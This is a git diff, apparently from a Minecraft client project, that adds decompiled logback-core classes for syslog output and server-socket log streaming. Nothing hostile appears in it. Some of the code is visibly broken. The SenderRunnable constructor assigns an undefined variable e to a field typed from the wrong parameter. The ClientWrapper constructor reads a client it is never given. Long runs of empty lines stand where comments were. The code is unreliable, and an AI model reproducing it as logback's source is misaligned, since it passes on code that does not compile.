+    return sessionViaJNDI;
+  }
+  
+
+
+
+
+
+  public void setSessionViaJNDI(boolean sessionViaJNDI)
+  {
+    this.sessionViaJNDI = sessionViaJNDI;
+  }
+  
+
+
+
+
+
+  public void setCharsetEncoding(String charsetEncoding)
+  {
+    this.charsetEncoding = charsetEncoding;
+  }
+  
+  public Layout<E> getLayout() {
+    return layout;
+  }
+  
+  public void setLayout(Layout<E> layout) {
+    this.layout = layout;
+  }
+  
+  class SenderRunnable implements Runnable
+  {
+    final CyclicBuffer<E> cyclicBuffer;
+    final E e;
+    
+    SenderRunnable(E cyclicBuffer) {
+      this.cyclicBuffer = cyclicBuffer;
+      this.e = e;
+    }
+    
+    public void run() {
+      sendBuffer(cyclicBuffer, e);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/SocketConnector.java b/src/minecraft/ch/qos/logback/core/net/SocketConnector.java
new file mode 100644
index 0000000..0187899
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/SocketConnector.java
@@ -0,0 +1,21 @@
+package ch.qos.logback.core.net;
+
+import java.net.Socket;
+import java.util.concurrent.Callable;
+import javax.net.SocketFactory;
+
+public abstract interface SocketConnector
+  extends Callable<Socket>
+{
+  public abstract Socket call()
+    throws InterruptedException;
+  
+  public abstract void setExceptionHandler(ExceptionHandler paramExceptionHandler);
+  
+  public abstract void setSocketFactory(SocketFactory paramSocketFactory);
+  
+  public static abstract interface ExceptionHandler
+  {
+    public abstract void connectionFailed(SocketConnector paramSocketConnector, Exception paramException);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/SyslogAppenderBase.java b/src/minecraft/ch/qos/logback/core/net/SyslogAppenderBase.java
new file mode 100644
index 0000000..8deeda0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/SyslogAppenderBase.java
@@ -0,0 +1,313 @@
+package ch.qos.logback.core.net;
+
+import ch.qos.logback.core.AppenderBase;
+import ch.qos.logback.core.Layout;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.SocketException;
+import java.net.UnknownHostException;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SyslogAppenderBase<E>
+  extends AppenderBase<E>
+{
+  static final String SYSLOG_LAYOUT_URL = "http://logback.qos.ch/codes.html#syslog_layout";
+  static final int MAX_MESSAGE_SIZE_LIMIT = 65000;
+  Layout<E> layout;
+  String facilityStr;
+  String syslogHost;
+  protected String suffixPattern;
+  SyslogOutputStream sos;
+  int port = 514;
+  int maxMessageSize;
+  
+  public SyslogAppenderBase() {}
+  
+  public void start() { int errorCount = 0;
+    if (facilityStr == null) {
+      addError("The Facility option is mandatory");
+      errorCount++;
+    }
+    
+    if (charset == null)
+    {
+
+      charset = Charset.defaultCharset();
+    }
+    try
+    {
+      sos = createOutputStream();
+      
+      int systemDatagramSize = sos.getSendBufferSize();
+      if (maxMessageSize == 0) {
+        maxMessageSize = Math.min(systemDatagramSize, 65000);
+        addInfo("Defaulting maxMessageSize to [" + maxMessageSize + "]");
+      } else if (maxMessageSize > systemDatagramSize) {
+        addWarn("maxMessageSize of [" + maxMessageSize + "] is larger than the system defined datagram size of [" + systemDatagramSize + "].");
+        addWarn("This may result in dropped logs.");
+      }
+    } catch (UnknownHostException e) {
+      addError("Could not create SyslogWriter", e);
+      errorCount++;
+    } catch (SocketException e) {
+      addWarn("Failed to bind to a random datagram socket. Will try to reconnect later.", e);
+    }
+    
+
+
+    if (layout == null) {
+      layout = buildLayout();
+    }
+    
+    if (errorCount == 0) {
+      super.start();
+    }
+  }
+  
+  public abstract SyslogOutputStream createOutputStream() throws UnknownHostException, SocketException;
+  
+  public abstract Layout<E> buildLayout();
+  
+  public abstract int getSeverityForEvent(Object paramObject);
+  
+  protected void append(E eventObject)
+  {
+    if (!isStarted()) {
+      return;
+    }
+    try
+    {
+      String msg = layout.doLayout(eventObject);
+      if (msg == null) {
+        return;
+      }
+      if (msg.length() > maxMessageSize) {
+        msg = msg.substring(0, maxMessageSize);
+      }
+      sos.write(msg.getBytes(charset));
+      sos.flush();
+      postProcess(eventObject, sos);
+    } catch (IOException ioe) {
+      addError("Failed to send diagram to " + syslogHost, ioe);
+    }
+  }
+  
+
+
+
+
+  protected void postProcess(Object event, OutputStream sw) {}
+  
+
+
+
+  public static int facilityStringToint(String facilityStr)
+  {
+    if ("KERN".equalsIgnoreCase(facilityStr))
+      return 0;
+    if ("USER".equalsIgnoreCase(facilityStr))
+      return 8;
+    if ("MAIL".equalsIgnoreCase(facilityStr))
+      return 16;
+    if ("DAEMON".equalsIgnoreCase(facilityStr))
+      return 24;
+    if ("AUTH".equalsIgnoreCase(facilityStr))
+      return 32;
+    if ("SYSLOG".equalsIgnoreCase(facilityStr))
+      return 40;
+    if ("LPR".equalsIgnoreCase(facilityStr))
+      return 48;
+    if ("NEWS".equalsIgnoreCase(facilityStr))
+      return 56;
+    if ("UUCP".equalsIgnoreCase(facilityStr))
+      return 64;
+    if ("CRON".equalsIgnoreCase(facilityStr))
+      return 72;
+    if ("AUTHPRIV".equalsIgnoreCase(facilityStr))
+      return 80;
+    if ("FTP".equalsIgnoreCase(facilityStr))
+      return 88;
+    if ("NTP".equalsIgnoreCase(facilityStr))
+      return 96;
+    if ("AUDIT".equalsIgnoreCase(facilityStr))
+      return 104;
+    if ("ALERT".equalsIgnoreCase(facilityStr))
+      return 112;
+    if ("CLOCK".equalsIgnoreCase(facilityStr))
+      return 120;
+    if ("LOCAL0".equalsIgnoreCase(facilityStr))
+      return 128;
+    if ("LOCAL1".equalsIgnoreCase(facilityStr))
+      return 136;
+    if ("LOCAL2".equalsIgnoreCase(facilityStr))
+      return 144;
+    if ("LOCAL3".equalsIgnoreCase(facilityStr))
+      return 152;
+    if ("LOCAL4".equalsIgnoreCase(facilityStr))
+      return 160;
+    if ("LOCAL5".equalsIgnoreCase(facilityStr))
+      return 168;
+    if ("LOCAL6".equalsIgnoreCase(facilityStr))
+      return 176;
+    if ("LOCAL7".equalsIgnoreCase(facilityStr)) {
+      return 184;
+    }
+    throw new IllegalArgumentException(facilityStr + " is not a valid syslog facility string");
+  }
+  
+
+
+
+
+  public String getSyslogHost()
+  {
+    return syslogHost;
+  }
+  
+
+
+
+
+
+  public void setSyslogHost(String syslogHost)
+  {
+    this.syslogHost = syslogHost;
+  }
+  
+
+
+
+
+  public String getFacility()
+  {
+    return facilityStr;
+  }
+  
+
+
+
+
+  Charset charset;
+  
+
+
+
+  public void setFacility(String facilityStr)
+  {
+    if (facilityStr != null) {
+      facilityStr = facilityStr.trim();
+    }
+    this.facilityStr = facilityStr;
+  }
+  
+
+
+
+  public int getPort()
+  {
+    return port;
+  }
+  
+
+
+
+  public void setPort(int port)
+  {
+    this.port = port;
+  }
+  
+
+
+
+  public int getMaxMessageSize()
+  {
+    return maxMessageSize;
+  }
+  
+
+
+
+
+
+
+  public void setMaxMessageSize(int maxMessageSize)
+  {
+    this.maxMessageSize = maxMessageSize;
+  }
+  
+  public Layout<E> getLayout() {
+    return layout;
+  }
+  
+  public void setLayout(Layout<E> layout) {
+    addWarn("The layout of a SyslogAppender cannot be set directly. See also http://logback.qos.ch/codes.html#syslog_layout");
+  }
+  
+
+  public void stop()
+  {
+    if (sos != null) {
+      sos.close();
+    }
+    super.stop();
+  }
+  
+
+
+
+
+  public String getSuffixPattern()
+  {
+    return suffixPattern;
+  }
+  
+
+
+
+
+
+  public void setSuffixPattern(String suffixPattern)
+  {
+    this.suffixPattern = suffixPattern;
+  }
+  
+
+
+
+  public Charset getCharset()
+  {
+    return charset;
+  }
+  
+
+
+
+
+  public void setCharset(Charset charset)
+  {
+    this.charset = charset;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/SyslogConstants.java b/src/minecraft/ch/qos/logback/core/net/SyslogConstants.java
new file mode 100644
index 0000000..440ac7a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/SyslogConstants.java
@@ -0,0 +1,40 @@
+package ch.qos.logback.core.net;
+
+public class SyslogConstants
+{
+  public static final int SYSLOG_PORT = 514;
+  public static final int EMERGENCY_SEVERITY = 0;
+  public static final int ALERT_SEVERITY = 1;
+  public static final int CRITICAL_SEVERITY = 2;
+  public static final int ERROR_SEVERITY = 3;
+  public static final int WARNING_SEVERITY = 4;
+  public static final int NOTICE_SEVERITY = 5;
+  public static final int INFO_SEVERITY = 6;
+  public static final int DEBUG_SEVERITY = 7;
+  public static final int LOG_KERN = 0;
+  public static final int LOG_USER = 8;
+  public static final int LOG_MAIL = 16;
+  public static final int LOG_DAEMON = 24;
+  public static final int LOG_AUTH = 32;
+  public static final int LOG_SYSLOG = 40;
+  public static final int LOG_LPR = 48;
+  public static final int LOG_NEWS = 56;
+  public static final int LOG_UUCP = 64;
+  public static final int LOG_CRON = 72;
+  public static final int LOG_AUTHPRIV = 80;
+  public static final int LOG_FTP = 88;
+  public static final int LOG_NTP = 96;
+  public static final int LOG_AUDIT = 104;
+  public static final int LOG_ALERT = 112;
+  public static final int LOG_CLOCK = 120;
+  public static final int LOG_LOCAL0 = 128;
+  public static final int LOG_LOCAL1 = 136;
+  public static final int LOG_LOCAL2 = 144;
+  public static final int LOG_LOCAL3 = 152;
+  public static final int LOG_LOCAL4 = 160;
+  public static final int LOG_LOCAL5 = 168;
+  public static final int LOG_LOCAL6 = 176;
+  public static final int LOG_LOCAL7 = 184;
+  
+  public SyslogConstants() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/SyslogOutputStream.java b/src/minecraft/ch/qos/logback/core/net/SyslogOutputStream.java
new file mode 100644
index 0000000..cea0825
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/SyslogOutputStream.java
@@ -0,0 +1,93 @@
+package ch.qos.logback.core.net;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.DatagramPacket;
+import java.net.DatagramSocket;
+import java.net.InetAddress;
+import java.net.SocketException;
+import java.net.UnknownHostException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SyslogOutputStream
+  extends OutputStream
+{
+  private static final int MAX_LEN = 1024;
+  private InetAddress address;
+  private DatagramSocket ds;
+  private ByteArrayOutputStream baos = new ByteArrayOutputStream();
+  private final int port;
+  
+  public SyslogOutputStream(String syslogHost, int port) throws UnknownHostException, SocketException
+  {
+    address = InetAddress.getByName(syslogHost);
+    this.port = port;
+    ds = new DatagramSocket();
+  }
+  
+  public void write(byte[] byteArray, int offset, int len) throws IOException {
+    baos.write(byteArray, offset, len);
+  }
+  
+  public void flush() throws IOException {
+    byte[] bytes = baos.toByteArray();
+    DatagramPacket packet = new DatagramPacket(bytes, bytes.length, address, port);
+    
+
+
+    if (baos.size() > 1024) {
+      baos = new ByteArrayOutputStream();
+    } else {
+      baos.reset();
+    }
+    
+
+
+    if (bytes.length == 0) {
+      return;
+    }
+    if (ds != null) {
+      ds.send(packet);
+    }
+  }
+  
+  public void close()
+  {
+    address = null;
+    ds = null;
+  }
+  
+  public int getPort() {
+    return port;
+  }
+  
+  public void write(int b) throws IOException
+  {
+    baos.write(b);
+  }
+  
+  int getSendBufferSize() throws SocketException {
+    return ds.getSendBufferSize();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/AbstractServerSocketAppender.java b/src/minecraft/ch/qos/logback/core/net/server/AbstractServerSocketAppender.java
new file mode 100644
index 0000000..66131b8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/AbstractServerSocketAppender.java
@@ -0,0 +1,216 @@
+package ch.qos.logback.core.net.server;
+
+import ch.qos.logback.core.AppenderBase;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+import java.io.IOException;
+import java.io.Serializable;
+import java.net.InetAddress;
+import java.net.ServerSocket;
+import java.net.UnknownHostException;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ExecutorService;
+import javax.net.ServerSocketFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractServerSocketAppender<E>
+  extends AppenderBase<E>
+{
+  public static final int DEFAULT_BACKLOG = 50;
+  public static final int DEFAULT_CLIENT_QUEUE_SIZE = 100;
+  private int port = 4560;
+  private int backlog = 50;
+  private int clientQueueSize = 100;
+  private String address;
+  private ServerRunner<RemoteReceiverClient> runner;
+  
+  public AbstractServerSocketAppender() {}
+  
+  public void start()
+  {
+    if (isStarted()) return;
+    try {
+      ServerSocket socket = getServerSocketFactory().createServerSocket(getPort(), getBacklog(), getInetAddress());
+      
+      ServerListener<RemoteReceiverClient> listener = createServerListener(socket);
+      
+      runner = createServerRunner(listener, getContext().getExecutorService());
+      runner.setContext(getContext());
+      getContext().getExecutorService().execute(runner);
+      super.start();
+    } catch (Exception ex) {
+      addError("server startup error: " + ex, ex);
+    }
+  }
+  
+  protected ServerListener<RemoteReceiverClient> createServerListener(ServerSocket socket)
+  {
+    return new RemoteReceiverServerListener(socket);
+  }
+  
+
+  protected ServerRunner<RemoteReceiverClient> createServerRunner(ServerListener<RemoteReceiverClient> listener, Executor executor)
+  {
+    return new RemoteReceiverServerRunner(listener, executor, getClientQueueSize());
+  }
+  
+
+  public void stop()
+  {
+    if (!isStarted()) return;
+    try {
+      runner.stop();
+      super.stop();
+    }
+    catch (IOException ex) {
+      addError("server shutdown error: " + ex, ex);
+    }
+  }
+  
+  protected void append(E event)
+  {
+    if (event == null) return;
+    postProcessEvent(event);
+    final Serializable serEvent = getPST().transform(event);
+    runner.accept(new ClientVisitor() {
+      public void visit(RemoteReceiverClient client) {
+        client.offer(serEvent);
+      }
+    });
+  }
+  
+
+
+
+
+
+
+  protected abstract void postProcessEvent(E paramE);
+  
+
+
+
+
+
+  protected abstract PreSerializationTransformer<E> getPST();
+  
+
+
+
+
+
+  protected ServerSocketFactory getServerSocketFactory()
+    throws Exception
+  {
+    return ServerSocketFactory.getDefault();
+  }
+  
+
+
+
+  protected InetAddress getInetAddress()
+    throws UnknownHostException
+  {
+    if (getAddress() == null) return null;
+    return InetAddress.getByName(getAddress());
+  }
+  
+
+
+
+  public int getPort()
+  {
+    return port;
+  }
+  
+
+
+
+  public void setPort(int port)
+  {
+    this.port = port;
+  }
+  
+
+
+
+
+
+
+
+  public int getBacklog()
+  {
+    return backlog;
+  }
+  
+
+
+
+
+
+
+
+  public void setBacklog(int backlog)
+  {
+    this.backlog = backlog;
+  }
+  
+
+
+
+  public String getAddress()
+  {
+    return address;
+  }
+  
+
+
+
+  public void setAddress(String address)
+  {
+    this.address = address;
+  }
+  
+
+
+
+  public int getClientQueueSize()
+  {
+    return clientQueueSize;
+  }
+  
+
+
+
+  public void setClientQueueSize(int clientQueueSize)
+  {
+    this.clientQueueSize = clientQueueSize;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/Client.java b/src/minecraft/ch/qos/logback/core/net/server/Client.java
new file mode 100644
index 0000000..7888a7d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/Client.java
@@ -0,0 +1,9 @@
+package ch.qos.logback.core.net.server;
+
+import java.io.Closeable;
+
+public abstract interface Client
+  extends Runnable, Closeable
+{
+  public abstract void close();
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/ClientVisitor.java b/src/minecraft/ch/qos/logback/core/net/server/ClientVisitor.java
new file mode 100644
index 0000000..72f72fb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/ClientVisitor.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.net.server;
+
+public abstract interface ClientVisitor<T extends Client>
+{
+  public abstract void visit(T paramT);
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/ConcurrentServerRunner.java b/src/minecraft/ch/qos/logback/core/net/server/ConcurrentServerRunner.java
new file mode 100644
index 0000000..3da950e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/ConcurrentServerRunner.java
@@ -0,0 +1,229 @@
+package ch.qos.logback.core.net.server;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.concurrent.Executor;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ConcurrentServerRunner<T extends Client>
+  extends ContextAwareBase
+  implements Runnable, ServerRunner<T>
+{
+  private final Lock clientsLock = new ReentrantLock();
+  
+  private final Collection<T> clients = new ArrayList();
+  
+
+
+  private final ServerListener<T> listener;
+  
+
+
+  private final Executor executor;
+  
+
+  private boolean running;
+  
+
+
+  public ConcurrentServerRunner(ServerListener<T> listener, Executor executor)
+  {
+    this.listener = listener;
+    this.executor = executor;
+  }
+  
+
+
+  public boolean isRunning()
+  {
+    return running;
+  }
+  
+  protected void setRunning(boolean running) {
+    this.running = running;
+  }
+  
+
+  public void stop()
+    throws IOException
+  {
+    listener.close();
+    accept(new ClientVisitor() {
+      public void visit(T client) {
+        client.close();
+      }
+    });
+  }
+  
+
+
+  public void accept(ClientVisitor<T> visitor)
+  {
+    Collection<T> clients = copyClients();
+    for (T client : clients) {
+      try {
+        visitor.visit(client);
+      }
+      catch (RuntimeException ex) {
+        addError(client + ": " + ex);
+      }
+    }
+  }
+  
+
+
+
+
+  private Collection<T> copyClients()
+  {
+    clientsLock.lock();
+    try {
+      Collection<T> copy = new ArrayList(clients);
+      return copy;
+    }
+    finally {
+      clientsLock.unlock();
+    }
+  }
+  
+
+
+  public void run()
+  {
+    setRunning(true);
+    try {
+      addInfo("listening on " + listener);
+      while (!Thread.currentThread().isInterrupted()) {
+        T client = listener.acceptClient();
+        if (!configureClient(client)) {
+          addError(client + ": connection dropped");
+          client.close();
+        }
+        else {
+          try {
+            executor.execute(new ClientWrapper(client));
+          }
+          catch (RejectedExecutionException ex) {
+            addError(client + ": connection dropped");
+            client.close();
+          }
+          
+        }
+      }
+    }
+    catch (InterruptedException ex) {}catch (Exception ex)
+    {
+      addError("listener: " + ex);
+    }
+    
+    setRunning(false);
+    addInfo("shutting down");
+    listener.close();
+  }
+  
+
+
+
+
+
+
+
+  protected abstract boolean configureClient(T paramT);
+  
+
+
+
+
+
+
+  private void addClient(T client)
+  {
+    clientsLock.lock();
+    try {
+      clients.add(client);
+    }
+    finally {
+      clientsLock.unlock();
+    }
+  }
+  
+
+
+
+  private void removeClient(T client)
+  {
+    clientsLock.lock();
+    try {
+      clients.remove(client);
+    }
+    finally {
+      clientsLock.unlock();
+    }
+  }
+  
+
+  private class ClientWrapper
+    implements Client
+  {
+    private final T delegate;
+    
+
+    public ClientWrapper()
+    {
+      delegate = client;
+    }
+    
+    public void run() {
+      ConcurrentServerRunner.this.addClient(delegate);
+      try {
+        delegate.run();
+      }
+      finally {
+        ConcurrentServerRunner.this.removeClient(delegate);
+      }
+    }
+    
+    public void close() {
+      delegate.close();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverClient.java b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverClient.java
new file mode 100644
index 0000000..19d1ebb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverClient.java
@@ -0,0 +1,13 @@
+package ch.qos.logback.core.net.server;
+
+import ch.qos.logback.core.spi.ContextAware;
+import java.io.Serializable;
+import java.util.concurrent.BlockingQueue;
+
+abstract interface RemoteReceiverClient
+  extends Client, ContextAware
+{
+  public abstract void setQueue(BlockingQueue<Serializable> paramBlockingQueue);
+  
+  public abstract boolean offer(Serializable paramSerializable);
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverServerListener.java b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverServerListener.java
new file mode 100644
index 0000000..5a04b34
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverServerListener.java
@@ -0,0 +1,46 @@
+package ch.qos.logback.core.net.server;
+
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RemoteReceiverServerListener
+  extends ServerSocketListener<RemoteReceiverClient>
+{
+  public RemoteReceiverServerListener(ServerSocket serverSocket)
+  {
+    super(serverSocket);
+  }
+  
+
+
+
+  protected RemoteReceiverClient createClient(String id, Socket socket)
+    throws IOException
+  {
+    return new RemoteReceiverStreamClient(id, socket);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverServerRunner.java b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverServerRunner.java
new file mode 100644
index 0000000..36aaff5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverServerRunner.java
@@ -0,0 +1,56 @@
+package ch.qos.logback.core.net.server;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.Executor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RemoteReceiverServerRunner
+  extends ConcurrentServerRunner<RemoteReceiverClient>
+{
+  private final int clientQueueSize;
+  
+  public RemoteReceiverServerRunner(ServerListener<RemoteReceiverClient> listener, Executor executor, int clientQueueSize)
+  {
+    super(listener, executor);
+    this.clientQueueSize = clientQueueSize;
+  }
+  
+
+
+
+  protected boolean configureClient(RemoteReceiverClient client)
+  {
+    client.setContext(getContext());
+    client.setQueue(new ArrayBlockingQueue(clientQueueSize));
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverStreamClient.java b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverStreamClient.java
new file mode 100644
index 0000000..f1b1b9c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/RemoteReceiverStreamClient.java
@@ -0,0 +1,145 @@
+package ch.qos.logback.core.net.server;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.util.CloseUtil;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.io.Serializable;
+import java.net.Socket;
+import java.net.SocketException;
+import java.util.concurrent.BlockingQueue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RemoteReceiverStreamClient
+  extends ContextAwareBase
+  implements RemoteReceiverClient
+{
+  private final String clientId;
+  private final Socket socket;
+  private final OutputStream outputStream;
+  private BlockingQueue<Serializable> queue;
+  
+  public RemoteReceiverStreamClient(String id, Socket socket)
+  {
+    clientId = ("client " + id + ": ");
+    this.socket = socket;
+    outputStream = null;
+  }
+  
+
+
+
+
+
+
+
+
+  RemoteReceiverStreamClient(String id, OutputStream outputStream)
+  {
+    clientId = ("client " + id + ": ");
+    socket = null;
+    this.outputStream = outputStream;
+  }
+  
+
+
+  public void setQueue(BlockingQueue<Serializable> queue)
+  {
+    this.queue = queue;
+  }
+  
+
+
+  public boolean offer(Serializable event)
+  {
+    if (queue == null) {
+      throw new IllegalStateException("client has no event queue");
+    }
+    return queue.offer(event);
+  }
+  
+
+
+  public void close()
+  {
+    if (socket == null) return;
+    CloseUtil.closeQuietly(socket);
+  }
+  
+
+
+  public void run()
+  {
+    addInfo(clientId + "connected");
+    
+    ObjectOutputStream oos = null;
+    try {
+      int counter = 0;
+      oos = createObjectOutputStream();
+      while (!Thread.currentThread().isInterrupted()) {
+        try {
+          Serializable event = (Serializable)queue.take();
+          oos.writeObject(event);
+          oos.flush();
+          counter++; if (counter >= 70)
+          {
+
+            counter = 0;
+            oos.reset();
+          }
+        }
+        catch (InterruptedException ex) {
+          Thread.currentThread().interrupt();
+        }
+      }
+    }
+    catch (SocketException ex) {
+      addInfo(clientId + ex);
+    }
+    catch (IOException ex) {
+      addError(clientId + ex);
+    }
+    catch (RuntimeException ex) {
+      addError(clientId + ex);
+    }
+    finally {
+      if (oos != null) {
+        CloseUtil.closeQuietly(oos);
+      }
+      close();
+      addInfo(clientId + "connection closed");
+    }
+  }
+  
+  private ObjectOutputStream createObjectOutputStream() throws IOException {
+    if (socket == null) {
+      return new ObjectOutputStream(outputStream);
+    }
+    return new ObjectOutputStream(socket.getOutputStream());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/SSLServerSocketAppenderBase.java b/src/minecraft/ch/qos/logback/core/net/server/SSLServerSocketAppenderBase.java
new file mode 100644
index 0000000..deecdaf
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/SSLServerSocketAppenderBase.java
@@ -0,0 +1,79 @@
+package ch.qos.logback.core.net.server;
+
+import ch.qos.logback.core.net.ssl.ConfigurableSSLServerSocketFactory;
+import ch.qos.logback.core.net.ssl.SSLComponent;
+import ch.qos.logback.core.net.ssl.SSLConfiguration;
+import ch.qos.logback.core.net.ssl.SSLParametersConfiguration;
+import javax.net.ServerSocketFactory;
+import javax.net.ssl.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SSLServerSocketAppenderBase<E>
+  extends AbstractServerSocketAppender<E>
+  implements SSLComponent
+{
+  private SSLConfiguration ssl;
+  private ServerSocketFactory socketFactory;
+  
+  public SSLServerSocketAppenderBase() {}
+  
+  protected ServerSocketFactory getServerSocketFactory()
+  {
+    return socketFactory;
+  }
+  
+
+
+  public void start()
+  {
+    try
+    {
+      SSLContext sslContext = getSsl().createContext(this);
+      SSLParametersConfiguration parameters = getSsl().getParameters();
+      parameters.setContext(getContext());
+      socketFactory = new ConfigurableSSLServerSocketFactory(parameters, sslContext.getServerSocketFactory());
+      
+      super.start();
+    }
+    catch (Exception ex) {
+      addError(ex.getMessage(), ex);
+    }
+  }
+  
+
+
+
+
+  public SSLConfiguration getSsl()
+  {
+    if (ssl == null) {
+      ssl = new SSLConfiguration();
+    }
+    return ssl;
+  }
+  
+
+
+
+  public void setSsl(SSLConfiguration ssl)
+  {
+    this.ssl = ssl;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/ServerListener.java b/src/minecraft/ch/qos/logback/core/net/server/ServerListener.java
new file mode 100644
index 0000000..1c232be
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/ServerListener.java
@@ -0,0 +1,13 @@
+package ch.qos.logback.core.net.server;
+
+import java.io.Closeable;
+import java.io.IOException;
+
+public abstract interface ServerListener<T extends Client>
+  extends Closeable
+{
+  public abstract T acceptClient()
+    throws IOException, InterruptedException;
+  
+  public abstract void close();
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/ServerRunner.java b/src/minecraft/ch/qos/logback/core/net/server/ServerRunner.java
new file mode 100644
index 0000000..57a03b7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/ServerRunner.java
@@ -0,0 +1,15 @@
+package ch.qos.logback.core.net.server;
+
+import ch.qos.logback.core.spi.ContextAware;
+import java.io.IOException;
+
+public abstract interface ServerRunner<T extends Client>
+  extends ContextAware, Runnable
+{
+  public abstract boolean isRunning();
+  
+  public abstract void stop()
+    throws IOException;
+  
+  public abstract void accept(ClientVisitor<T> paramClientVisitor);
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/server/ServerSocketListener.java b/src/minecraft/ch/qos/logback/core/net/server/ServerSocketListener.java
new file mode 100644
index 0000000..b2fa263
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/server/ServerSocketListener.java
@@ -0,0 +1,88 @@
+package ch.qos.logback.core.net.server;
+
+import ch.qos.logback.core.util.CloseUtil;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ServerSocketListener<T extends Client>
+  implements ServerListener<T>
+{
+  private final ServerSocket serverSocket;
+  
+  public ServerSocketListener(ServerSocket serverSocket)
+  {
+    this.serverSocket = serverSocket;
+  }
+  
+
+  public T acceptClient()
+    throws IOException
+  {
+    Socket socket = serverSocket.accept();
+    return createClient(socketAddressToString(socket.getRemoteSocketAddress()), socket);
+  }
+  
+
+
+
+
+
+  protected abstract T createClient(String paramString, Socket paramSocket)
+    throws IOException;
+  
+
+
+
+
+
+  public void close()
+  {
+    CloseUtil.closeQuietly(serverSocket);
+  }
+  
+
+
+
+  public String toString()
+  {
+    return socketAddressToString(serverSocket.getLocalSocketAddress());
+  }
+  
+
+
+
+
+  private String socketAddressToString(SocketAddress address)
+  {
+    String addr = address.toString();
+    int i = addr.indexOf("/");
+    if (i >= 0) {
+      addr = addr.substring(i + 1);
+    }
+    return addr;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/ConfigurableSSLServerSocketFactory.java b/src/minecraft/ch/qos/logback/core/net/ssl/ConfigurableSSLServerSocketFactory.java
new file mode 100644
index 0000000..a568dd3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/ConfigurableSSLServerSocketFactory.java
@@ -0,0 +1,88 @@
+package ch.qos.logback.core.net.ssl;
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.ServerSocket;
+import javax.net.ServerSocketFactory;
+import javax.net.ssl.SSLServerSocket;
+import javax.net.ssl.SSLServerSocketFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConfigurableSSLServerSocketFactory
